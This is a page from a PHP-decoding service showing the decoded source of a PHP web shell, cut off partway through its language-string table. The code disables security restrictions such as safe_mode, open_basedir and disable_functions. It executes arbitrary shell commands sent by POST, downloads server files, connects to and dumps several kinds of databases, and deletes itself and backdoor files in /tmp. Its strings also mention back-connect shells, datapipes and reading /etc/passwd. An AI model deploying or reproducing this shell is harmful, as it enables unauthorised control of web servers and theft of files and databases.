Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$c='ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGxhbmd1YWdlPSdlbmcnOw0KJGF1dGggPSAwOw0KJG5hbWU9Jyc7DQokcG..

Decoded Output download

error_reporting(0);
$language='eng';
$auth = 0;
$name='';
$pass='';
/******************************************************************************************************/

if(@ini_get('safe_mode') == 1) @ini_restore("safe_mode");
if(@ini_get('open_basedir') !== "") @ini_restore("open_basedir");
if(@ini_get('disable_functions') !== "") @ini_restore("disable_functions"); 
if(@ini_get('allow_url_fopen') == 0) @ini_restore("allow_url_fopen"); 
@set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
$safe_mode = @ini_get('safe_mode');
$version = '1.4';
if(version_compare(phpversion(), '4.1.0') == -1){
 $_POST   = &$HTTP_POST_VARS;
 $_GET    = &$HTTP_GET_VARS;
 $_SERVER = &$HTTP_SERVER_VARS;
 $_COOKIE = &$HTTP_COOKIE_VARS;
 }
if (@get_magic_quotes_gpc()){
 foreach ($_POST as $k=>$v){
  $_POST[$k] = stripslashes($v);
  }
 foreach ($_COOKIE as $k=>$v){
  $_COOKIE[$k] = stripslashes($v);
  } 
} 
if(isset($_POST['do']) && $_POST['do']=="AJAX"){
 @chdir($_POST['dir']);
 if(strpos($_POST['cmd'], 'dir')===0){
 echo iconv("cp866", "UTF-8", ex($_POST['cmd']));
 }else{
 echo iconv("windows-1251", "UTF-8", ex($_POST['cmd']));
 }
 die();	
}
$head = '
<html>
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">

<STYLE>
tr {
BORDER-RIGHT:  #aaaaaa 1px solid;
BORDER-TOP:    #eeeeee 1px solid;
BORDER-LEFT:   #eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
color: #000000;
}
td {
BORDER-RIGHT:  #aaaaaa 1px solid;
BORDER-TOP:    #eeeeee 1px solid;
BORDER-LEFT:   #eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
color: #000000;
}
.table1 {
BORDER: 0px;
BACKGROUND-COLOR: #D4D0C8;
color: #000000;
}
.td1 {
BORDER: 0px;
font: 7pt Verdana;
color: #000000;
}
.tr1 {
BORDER: 0px;
color: #000000;
}
table {
BORDER:  #eeeeee 1px outset;
BACKGROUND-COLOR: #D4D0C8;
color: #000000;
}
input {
BORDER-RIGHT:  #ffffff 1px solid;
BORDER-TOP:    #999999 1px solid;
BORDER-LEFT:   #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: 8pt Verdana;
color: #000000;
}
select {
BORDER-RIGHT:  #ffffff 1px solid;
BORDER-TOP:    #999999 1px solid;
BORDER-LEFT:   #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: 8pt Verdana;
color: #000000;;
}
submit {
BORDER:  buttonhighlight 2px outset;
BACKGROUND-COLOR: #e4e0d8;
width: 30%;
color: #000000;
}
textarea {
BORDER-RIGHT:  #ffffff 1px solid;
BORDER-TOP:    #999999 1px solid;
BORDER-LEFT:   #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font-size: medium;
color: #000000;
}
BODY {
margin: 1px;
color: #000000;
background-color: #e4e0d8;
}
.block
{
   position: absolute;  
   overflow: auto;  
   width: 70px;  
   height: 20px; 
   left: 50%;  
   top: 50%;  
   margin-left: -35px;  
   margin-top: -10px;   
}
A:link {COLOR:red; TEXT-DECORATION: none}
A:visited { COLOR:red; TEXT-DECORATION: none}
A:active {COLOR:red; TEXT-DECORATION: none}
A:hover {color:blue;TEXT-DECORATION: none}
</STYLE>
<script language=\'javascript\'>
function hide_div(id)
{
  document.getElementById(id).style.display = \'none\';
  document.cookie=id+\'=0;\';
}
function show_div(id)
{
  document.getElementById(id).style.display = \'block\';
  document.cookie=id+\'=1;\';
}
function change_divst(id)
{
  if (document.getElementById(id).style.display == \'none\')
    show_div(id);
  else
    hide_div(id);
}
var req=null;
var READY_STATE_UNINITIALIZED=0;
var READY_STATE_LOADING=1;
var READY_STATE_LOADED=2;
var READY_STATE_INTERACTIVE=3;
var READY_STATE_COMPLETE=4;
var CommHis=new Array();
var HisP;

	function keyE(_b){
		switch(_b.keyCode){
			case 13:
				 var _c = document.getElementById("ajax_cmd").value;
                 var dir = document.getElementById("ajax_dir").value; 
				if(_c){
					//   
					if(_c == "!cls"){
					document.getElementById("report").value = "";
					break;
					}
					//   
					//    
					if(_c == "!ll"){
					_c = "ls -laF";
					}
					if(_c == "!ds"){
					_c = "dir /S";
					}
					//  
					document.getElementById("ajax_cmd").value = _c;
					CommHis[CommHis.length]=_c;
					HisP=CommHis.length;
					ajax(_c,dir);
				}
				break;
			case 38:
				if(HisP>0){
					HisP--;
					document.getElementById("ajax_cmd").value=CommHis[HisP];
				}
				break;
			case 40:
				if(HisP<CommHis.length-1){
					HisP++;
					document.getElementById("ajax_cmd").value=CommHis[HisP];
				}
				break;
			default:
				break;
		}
	}

function ajax(cmd,dir,unix){
 if(window.XMLHttpRequest){ req=new XMLHttpRequest(); } 
 else if(window.ActiveXObject){ req=new ActiveXObject("Microsoft.XMLHTTP"); }
    if(req){
      req.onreadystatechange=ajaxProcess;
      req.open("POST", "'.$_SERVER['PHP_SELF'].'", true);
      req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
      req.setRequestHeader("Accept-Charset", "windows-1251"); 
      req.send("dir="+dir+"&cmd="+cmd+"&do=AJAX");
    }
}

function ajaxProcess(){
  var ready=req.readyState;
  var data="";
  show_div("load");
  if (ready==READY_STATE_COMPLETE){ data=req.responseText; report(data); hide_div("load");}  
}

function report(data){
document.getElementById("report").value+="["+document.getElementById("ajax_dir").value+"] "+document.getElementById("ajax_cmd").value+"\r\n"+data+"\r\n"; 
document.getElementById("report").scrollTop += 1000000;
document.getElementById("runned_cmd").childNodes[0].nodeValue = document.getElementById("ajax_cmd").value;
}

</script>';
class zipfile
{
    var $datasec      = array();
    var $ctrl_dir     = array();
    var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
    var $old_offset   = 0;
    function unix2DosTime($unixtime = 0) {
        $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
        if ($timearray['year'] < 1980) {
            $timearray['year']    = 1980;
            $timearray['mon']     = 1;
            $timearray['mday']    = 1;
            $timearray['hours']   = 0;
            $timearray['minutes'] = 0;
            $timearray['seconds'] = 0;
        } 
        return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
                ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
    } 
    function addFile($data, $name, $time = 0)
    {
        $name     = str_replace('\\', '/', $name);
        $dtime    = dechex($this->unix2DosTime($time));
        $hexdtime = '\x' . $dtime[6] . $dtime[7]
                  . '\x' . $dtime[4] . $dtime[5]
                  . '\x' . $dtime[2] . $dtime[3]
                  . '\x' . $dtime[0] . $dtime[1];
        eval('$hexdtime = "' . $hexdtime . '";');
        $fr   = "\x50\x4b\x03\x04";
        $fr   .= "\x14\x00";            
        $fr   .= "\x00\x00";            
        $fr   .= "\x08\x00";            
        $fr   .= $hexdtime;             
        $unc_len = strlen($data);
        $crc     = crc32($data);
        $zdata   = gzcompress($data);
        $zdata   = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
        $c_len   = strlen($zdata);
        $fr      .= pack('V', $crc);             
        $fr      .= pack('V', $c_len);           
        $fr      .= pack('V', $unc_len);         
        $fr      .= pack('v', strlen($name));    
        $fr      .= pack('v', 0);                
        $fr      .= $name;
        $fr .= $zdata;
        $this -> datasec[] = $fr;
        $cdrec = "\x50\x4b\x01\x02";
        $cdrec .= "\x00\x00";                
        $cdrec .= "\x14\x00";                
        $cdrec .= "\x00\x00";                
        $cdrec .= "\x08\x00";                
        $cdrec .= $hexdtime;                 
        $cdrec .= pack('V', $crc);           
        $cdrec .= pack('V', $c_len);         
        $cdrec .= pack('V', $unc_len);       
        $cdrec .= pack('v', strlen($name) ); 
        $cdrec .= pack('v', 0 );             
        $cdrec .= pack('v', 0 );             
        $cdrec .= pack('v', 0 );             
        $cdrec .= pack('v', 0 );             
        $cdrec .= pack('V', 32 );            
        $cdrec .= pack('V', $this -> old_offset );
        $this -> old_offset += strlen($fr);
        $cdrec .= $name;
        $this -> ctrl_dir[] = $cdrec;
    }
    function file()
    {
        $data    = implode('', $this -> datasec);
        $ctrldir = implode('', $this -> ctrl_dir);
        return
            $data .
            $ctrldir .
            $this -> eof_ctrl_dir .
            pack('v', sizeof($this -> ctrl_dir)) .  
            pack('v', sizeof($this -> ctrl_dir)) .  
            pack('V', strlen($ctrldir)) .           
            pack('V', strlen($data)) .              
            "\x00\x00";              
    }
}
function compress(&$filename,&$filedump,$compress)
 {
    global $content_encoding;
    global $mime_type;
    if ($compress == 'bzip' && @function_exists('bzcompress')) 
     {
        $filename  .= '.bz2';
        $mime_type = 'application/x-bzip2';
        $filedump = bzcompress($filedump);
     } 
     else if ($compress == 'gzip' && @function_exists('gzencode')) 
     {
        $filename  .= '.gz';
        $content_encoding = 'x-gzip';
        $mime_type = 'application/x-gzip';
        $filedump = gzencode($filedump);
     } 
     else if ($compress == 'zip' && @function_exists('gzcompress')) 
     {
     	$filename .= '.zip';
        $mime_type = 'application/zip';
        $zipfile = new zipfile();
        $zipfile -> addFile($filedump, substr($filename, 0, -4));
        $filedump = $zipfile -> file();
     } 
     else 
     {
     	$mime_type = 'application/octet-stream';
     }
 }
function mailattach($to,$from,$subj,$attach)
 {
 $headers  = "From: $from\r\n";	
 $headers .= "MIME-Version: 1.0\r\n";
 $headers .= "Content-Type: ".$attach['type'];
 $headers .= "; name=\"".$attach['name']."\"\r\n";
 $headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
 $headers .= chunk_split(base64_encode($attach['content']))."\r\n";
 if(@mail($to,$subj,"",$headers)) { return 1; }
 return 0;
 }
class my_sql
 {
 var $host = 'localhost';
 var $port = '';
 var $user = '';
 var $pass = '';	
 var $base = '';	
 var $db   = '';	
 var $connection;
 var $res;        
 var $error;      
 var $rows;       
 var $columns;     
 var $num_rows;   
 var $num_fields; 
 var $dump;       
 
 function connect()
  {	   
  	switch($this->db)
     {
  	 case 'MySQL': 	
  	  if(empty($this->port)) { $this->port = '3306'; }
  	  if(!function_exists('mysql_connect')) return 0;
  	  $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);	
  	  if(is_resource($this->connection)) return 1;
  	  $this->error = @mysql_errno()." : ".@mysql_error();
  	 break;
     case 'MSSQL':
      if(empty($this->port)) { $this->port = '1433'; }
  	  if(!function_exists('mssql_connect')) return 0;
  	  $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);	
      if($this->connection) return 1;
      $this->error = "Can't connect to server";
     break;
     case 'PostgreSQL':
      if(empty($this->port)) { $this->port = '5432'; }
      $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";
      if(!function_exists('pg_connect')) return 0;
      $this->connection = @pg_connect($str);
      if(is_resource($this->connection)) return 1;
      $this->error = @pg_last_error($this->connection);
     break;
     case 'Oracle':
      if(!function_exists('ocilogon')) return 0;
      $this->connection = @ocilogon($this->user, $this->pass, $this->base);
      if(is_resource($this->connection)) return 1;
      $error = @ocierror();
      $this->error=$error['message']; 
     break;
     }
    return 0;   
  }
  
 function select_db()
  {
   switch($this->db)
    {
  	case 'MySQL':
  	 if(@mysql_select_db($this->base,$this->connection)) return 1;
  	 $this->error = @mysql_errno()." : ".@mysql_error();	
    break;
    case 'MSSQL':
  	 if(@mssql_select_db($this->base,$this->connection)) return 1;
  	 $this->error = "Can't select database";
    break;
    case 'PostgreSQL':
     return 1;
    break;
    case 'Oracle':
     return 1;
    break;
    }
   return 0;  
  }
  
 function query($query)
  { 
   $this->res=$this->error='';
   switch($this->db)
    {
  	case 'MySQL': 	
     if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection))) 
      { 
      $this->error = @mysql_error($this->connection);
      return 0;
      } 
     else if(is_resource($this->res)) { return 1; }                   
     return 2;                                                          
  	break;
    case 'MSSQL':
     if(false===($this->res=@mssql_query($query,$this->connection))) 
      {
      $this->error = 'Query error';
      return 0;	
      }
      else if(@mssql_num_rows($this->res) > 0) { return 1; }
     return 2;     
    break;
    case 'PostgreSQL':
     if(false===($this->res=@pg_query($this->connection,$query)))
      {
      $this->error = @pg_last_error($this->connection);
      return 0;
      }
      else if(@pg_num_rows($this->res) > 0) { return 1; }
     return 2; 
    break;
    case 'Oracle':
     if(false===($this->res=@ociparse($this->connection,$query)))
      {
      $this->error = 'Query parse error';	
      }
     else 
      { 
      if(@ociexecute($this->res)) 
       {	
       if(@ocirowcount($this->res) != 0) return 2;
       return 1;	
       }
      $error = @ocierror();
      $this->error=$error['message']; 
      }
    break;
    }	
  return 0;
  }
 function get_result()
  { 
   $this->rows=array();
   $this->columns=array();
   $this->num_rows=$this->num_fields=0;	
   switch($this->db)
    {
  	case 'MySQL':
  	 $this->num_rows=@mysql_num_rows($this->res);
  	 $this->num_fields=@mysql_num_fields($this->res);
  	 while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); 
  	 @mysql_free_result($this->res);
  	 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
    break;
    case 'MSSQL':
  	 $this->num_rows=@mssql_num_rows($this->res);
  	 $this->num_fields=@mssql_num_fields($this->res);    
  	 while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
  	 @mssql_free_result($this->res);
  	 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;};
    break;
    case 'PostgreSQL':
  	 $this->num_rows=@pg_num_rows($this->res); 
  	 $this->num_fields=@pg_num_fields($this->res);   
  	 while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
  	 @pg_free_result($this->res);
  	 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
    break;
    case 'Oracle':
     $this->num_fields=@ocinumcols($this->res);
     while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
     @ocifreestatement($this->res);
     if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
    break;
    }
   return 0; 	
  }
 function dump($table)
  { 
   if(empty($table)) return 0;
   $this->dump=array();
   $this->dump[0] = '##';
   $this->dump[1] = '## --------------------------------------- ';
   $this->dump[2] = '##  Created: '.date ("d/m/Y H:i:s");
   $this->dump[3] = '## Database: '.$this->base;
   $this->dump[4] = '##    Table: '.$table;
   $this->dump[5] = '## --------------------------------------- ';
   switch($this->db)
    {
  	case 'MySQL':
  	 $this->dump[0] = '## MySQL dump';
  	 if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;
  	 if(!$this->get_result()) return 0;
  	 $this->dump[] = $this->rows[0]['Create Table'].";";
     $this->dump[] = '## --------------------------------------- ';
  	 if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
  	 if(!$this->get_result()) return 0;
  	 for($i=0;$i<$this->num_rows;$i++)
  	  {
      foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}	
  	  $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');';	
  	  }	
    break;
    case 'MSSQL':
     $this->dump[0] = '## MSSQL dump';
     if($this->query('SELECT * FROM '.$table)!=1) return 0;
  	 if(!$this->get_result()) return 0;
  	 for($i=0;$i<$this->num_rows;$i++)
  	  {
      foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}	
  	  $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';	
  	  }	
    break;
    case 'PostgreSQL':
     $this->dump[0] = '## PostgreSQL dump';
     if($this->query('SELECT * FROM '.$table)!=1) return 0;
  	 if(!$this->get_result()) return 0;
  	 for($i=0;$i<$this->num_rows;$i++)
  	  {
      foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} 	
  	  $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';	
  	  } 	
    break;
    case 'Oracle':
      $this->dump[0] = '## ORACLE dump';
      $this->dump[]  = '## under construction'; 
    break;
    default:
     return 0;
    break;
    }
   return 1; 	
  }
 function close()
  { 
   switch($this->db)
    {
  	case 'MySQL': 
  	 @mysql_close($this->connection); 	
    break;
    case 'MSSQL':
     @mssql_close($this->connection);
    break;
    case 'PostgreSQL':
     @pg_close($this->connection);
    break;
    case 'Oracle':
     @oci_close($this->connection);
    break;
    }	
  }
 function affected_rows()
  { 
   switch($this->db)
    {
  	case 'MySQL':
  	 return @mysql_affected_rows($this->res); 	
    break;
    case 'MSSQL':
     return @mssql_affected_rows($this->res);
    break;
    case 'PostgreSQL':
     return @pg_affected_rows($this->res);
    break;
    case 'Oracle':
     return @ocirowcount($this->res);
    break;
    default:
     return 0;
    break;
    }	
  }
 } 
if(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))
 {
  if(!$file=@fopen($_POST['d_name'],"r")) { err(1,$_POST['d_name']); $_POST['cmd']=""; }
  else 
   {
    @ob_clean();
    $filename = @basename($_POST['d_name']);
    $filedump = @fread($file,@filesize($_POST['d_name']));
    fclose($file);
    $content_encoding=$mime_type='';
    compress($filename,$filedump,$_POST['compress']);
    if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
    header("Content-type: ".$mime_type);
    header("Content-disposition: attachment; filename=\"".$filename."\";");   
    echo $filedump;
    exit();
   }		
 }
if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
if (!empty($_POST['cmd']) && $_POST['cmd']=="db_query")
 {
 echo $head;
 $sql = new my_sql();
 $sql->db   = $_POST['db'];
 $sql->host = $_POST['db_server'];
 $sql->port = $_POST['db_port'];
 $sql->user = $_POST['mysql_l'];
 $sql->pass = $_POST['mysql_p'];	
 $sql->base = $_POST['mysql_db'];
 $querys = @explode(';',$_POST['db_query']);
 echo '<body bgcolor=#e4e0d8>';
 if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>".$sql->error."</b></font></div>";
  else 
   {
   if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>".$sql->error."</b></font></div>";	
   else
    {
    foreach($querys as $num=>$query) 
     {
      if(strlen($query)>5)
      {	
      echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>";
      switch($sql->query($query))
       {
       case '0':
       echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>";
       break;	
       case '1': 
       if($sql->get_result())
        {
       	echo "<table width=100%>";
        foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
       	$keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", $sql->columns);
        echo "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>";
        for($i=0;$i<$sql->num_rows;$i++)
         {
         foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);
         $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]);
         echo '<tr><td><font face=Verdana size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>';
         }
        echo "</table>"; 
        }
       break;	
       case '2':
       $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); 
       echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>";
       break;	 	
       }	
      }
     }
    }
   }   
 echo "<br><form name=form method=POST>";
 echo in('hidden','db',0,$_POST['db']);
 echo in('hidden','db_server',0,$_POST['db_server']);
 echo in('hidden','db_port',0,$_POST['db_port']);
 echo in('hidden','mysql_l',0,$_POST['mysql_l']);
 echo in('hidden','mysql_p',0,$_POST['mysql_p']);
 echo in('hidden','mysql_db',0,$_POST['mysql_db']);
 echo in('hidden','cmd',0,'db_query');
 echo "<div align=center>";
 echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>";
 echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; 
 echo "</form>";
 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
 }	
if(isset($_GET['delete']))
 {
   @unlink(__FILE__);
 }
if(isset($_GET['tmp']))
 {
   @unlink("/tmp/bdpl");
   @unlink("/tmp/back");
   @unlink("/tmp/bd");
   @unlink("/tmp/bd.c");
   @unlink("/tmp/dp");
   @unlink("/tmp/dpc");
   @unlink("/tmp/dpc.c");
 }
if(isset($_GET['phpini']))
{
echo $head;
function U_value($value)
 {
 if ($value == '') return '<i>no value</i>';
 if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
 if ($value === null) return 'NULL';
 if (@is_object($value)) $value = (array) $value;
 if (@is_array($value))
 {
 @ob_start();
 print_r($value);
 $value = @ob_get_contents();
 @ob_end_clean();
 }
 return U_wordwrap((string) $value);
 }
function U_wordwrap($str)
 {
 $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
 return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
 }
if (@function_exists('ini_get_all'))
 {
 $r = '';
 echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';
 foreach (@ini_get_all() as $key=>$value)
  {
  $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
  }
 echo $r;
 echo '</table>';
 }
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
die();
}
if(isset($_GET['cpu']))
 {
   echo $head;
   echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';
   $cpuf = @file("cpuinfo");
   if($cpuf)
    {
      $c = @sizeof($cpuf);
      for($i=0;$i<$c;$i++)
        {
          $info = @explode(":",$cpuf[$i]);
          if($info[1]==""){ $info[1]="---"; }
          $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
        }
      echo $r;
    }
   else
    {
      echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
    }
   echo '</table>';
   echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
   die();
 }
if(isset($_GET['mem']))
 {
   echo $head;
   echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
   $memf = @file("meminfo");
   if($memf)
    {
      $c = sizeof($memf);
      for($i=0;$i<$c;$i++)
        {
          $info = explode(":",$memf[$i]);
          if($info[1]==""){ $info[1]="---"; }
          $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
        }
      echo $r;
    }
   else
    {
      echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
    }
   echo '</table>';
   echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
   die();
 }
$lang=array(
'ru_text1' =>' ',
'ru_text2' =>'   ',
'ru_text3' =>' ',
'ru_text4' =>' ',
'ru_text5' =>'   ',
'ru_text6' =>' ',
'ru_text7' =>'',
'ru_text8' =>' ',
'ru_butt1' =>'',
'ru_butt1a' => '  ',
'ru_butt2' =>'',
'ru_text9' =>'      /bin/bash',
'ru_text10'=>' ',
'ru_text11'=>'  ',
'ru_butt3' =>'',
'ru_text12'=>'back-connect',
'ru_text13'=>'IP-',
'ru_text14'=>'',
'ru_butt4' =>'',
'ru_text15'=>'    ',
'ru_text16'=>'',
'ru_text17'=>' ',
'ru_text18'=>' ',
'ru_text19'=>'Exploits',
'ru_text20'=>'',
'ru_text21'=>' ',
'ru_text22'=>'datapipe',
'ru_text23'=>' ',
'ru_text24'=>' ',
'ru_text25'=>' ',
'ru_text26'=>'',
'ru_butt5' =>'',
'ru_text28'=>'  safe_mode',
'ru_text29'=>' ',
'ru_butt6' =>'',
'ru_text30'=>' ',
'ru_butt7' =>'',
'ru_text31'=>'  ',
'ru_text32'=>' PHP ',
'ru_text33'=>'    open_basedir   cURL',
'ru_butt8' =>'',
'ru_text34'=>'    safe_mode   include',
'ru_text35'=>'    safe_mode     mysql',
'ru_text36'=>' . ',
'ru_text37'=>'',
'ru_text38'=>'',
'ru_text39'=>'',
'ru_text40'=>'   ',
'ru_butt9' =>'',
'ru_text41'=>'  ',
'ru_text42'=>' ',
'ru_text43'=>' ',
'ru_butt10'=>'',
'ru_butt11'=>'',
'ru_text44'=>'  !    !',
'ru_text45'=>' ',
'ru_text46'=>' phpinfo()',
'ru_text47'=>'  php.ini',
'ru_text48'=>'  ',
'ru_text49'=>'   ',
'ru_text50'=>'  ',
'ru_text51'=>'  ',
'ru_text52'=>'  ',
'ru_text53'=>'  ',
'ru_text54'=>'   ',
'ru_butt12'=>'',
'ru_text55'=>'  ',
'ru_text56'=>'  ',
'ru_text57'=>'/ /',
'ru_text58'=>'',
'ru_text59'=>'',
'ru_text60'=>'',
'ru_butt13'=>'/',
'ru_text61'=>' ',
'ru_text62'=>' ',
'ru_text63'=>' ',
'ru_text64'=>' ',
'ru_text65'=>'',
'ru_text66'=>'',
'ru_text67'=>'Chown/Chgrp/Chmod',
'ru_text68'=>'',
'ru_text69'=>'1',
'ru_text70'=>'2',
'ru_text71'=>"  :\r\n-  CHOWN -      UID () \r\n-   CHGRP -    GID () \r\n-   CHMOD -      ( 0777)",
'ru_text72'=>'  ',
'ru_text73'=>'  ',
'ru_text74'=>'  ',
'ru_text75'=>'*    ',
'ru_text76'=>'       find',
'ru_text80'=>'',
'ru_text81'=>'',
'ru_text82'=>' ',
'ru_text83'=>' SQL ',
'ru_text84'=>'SQL ',
'ru_text85'=>'    safe_mode     MSSQL ',
'ru_text86'=>'   ',
'ru_butt14'=>'',
'ru_text87'=>'    ftp-',
'ru_text88'=>'FTP-:',
'ru_text89'=>'  ftp ',
'ru_text90'=>' ',
'ru_text91'=>' ',
'ru_text92'=>' ',
'ru_text93'=>'FTP',
'ru_text94'=>'FTP-',
'ru_text95'=>' ',
'ru_text96'=>'    ',
'ru_text97'=>' : ',
'ru_text98'=>' : ',
'ru_text99'=>'*          /etc/passwd',
'ru_text100'=>'     ',
'ru_text101'=>'   (user -> resu)     ',
'ru_text102'=>'',
'ru_text103'=>' ',
'ru_text104'=>'    ',
'ru_text105'=>'',
'ru_text106'=>'',
'ru_text107'=>'',
'ru_butt15'=>'',
'ru_text108'=>' ',
'ru_text109'=>'',
'ru_text110'=>'',
'ru_text111'=>'SQL- : ',
'ru_text112'=>'    safe_mode    mb_send_mail',
'ru_text113'=>'    safe_mode,      imap_list',
'ru_text114'=>'    safe_mode,      imap_body',
'ru_text115'=>'    safe_mode,    compress.zlib://  copy()',
'ru_text116'=>' ',
'ru_text117'=>'',
'ru_text118'=>' ',
'ru_text119'=>'   ',
'ru_text120'=>'    safe_mode,   php.ini',
'ru_text121'=>' php.ini    .     php_ini_backup.',
'ru_err0'=>'!      ',
'ru_err1'=>'!     ',
'ru_err2'=>'!    ',
'ru_err3'=>'!     ftp ',
'ru_err4'=>'   ftp ',
'ru_err5'=>'!      ftp ',
'ru_err6'=>'!    ',
'ru_err7'=>' ',
'ru_text122' => '    safe_mode   error_log()',
'ru_text123' => '    safe_mode    .htaccess c mail.force_extra_parameters',
'ru_text124' => '  ',
'ru_text125' => '',
'ru_text126' => '    safe_mode  SSI',
'ru_text127' => '    safe_mode  COM ',
'ru_text128' => '    safe_mode  ionCube',
'ru_text129' => '    safe_mode  win32std',
'ru_text130' => '    safe_mode  win32service',
'ru_text131' => '    safe_mode   perl',
'ru_text132' => '    safe_mode  ffi',
/* --------------------------------------------------------------- */
'eng_text1' =>'Executed command',
